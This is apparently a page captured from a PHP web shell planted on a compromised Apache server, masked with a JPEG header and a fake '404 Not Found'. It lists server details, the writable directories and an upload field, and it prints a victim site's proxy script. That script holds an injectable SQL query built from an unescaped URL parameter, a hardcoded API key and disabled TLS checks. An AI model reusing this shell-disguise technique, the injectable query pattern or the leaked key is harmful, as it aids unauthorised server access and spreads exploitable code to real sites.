ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/proxy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/proxy/get_content.php
<?php
define('MSG_NO_ACCESS', 'No access');
$arr_bot_deny = array('googlebot','bingbot','baiduspider','ahrefsbot','semrushbot','seznambot','yoozbot','linkdexbot','mj12bot','seobilitybot','msnbot-media','facebookexternalhit',' mail.ru_bot','musobot','sogou web spider');
foreach ($arr_bot_deny as $val) {
    if(stripos($_SERVER['HTTP_USER_AGENT'],$val)!== false){
        header('HTTP/1.0 403 Forbidden');
        die();
        exit();
    }
}

require "../configs.php";
require "../lib/class_db.php";
$DB = new db_driver;
$DB->connect($INFO);
if(!isset($_GET['hash']) or $_GET['hash']==''){
    header('HTTP/1.0 403 Forbidden');
    die();
    exit();
}
$hash = trim($_GET['hash']);
$row_check = $DB->fetch_row($DB->query("SELECT id,link FROM NNCCMS_checkgetlink WHERE `hash`='$hash' "));
if(!$row_check){
    header('HTTP/1.0 403 Forbidden');
    die();
    exit();
}
$url = $row_check['link'];
$DB->query("DELETE FROM  NNCCMS_checkgetlink WHERE id='".$row_check['id']."' ");
$api = 'https://videoapi.io/api/getlink?key=36d1e351e49cf23e721eeeac77402fdf&link='.$url;
$content = curl($api);
echo $content;
exit();
function curl($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36');
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
?>

ZeroDay Forums Mini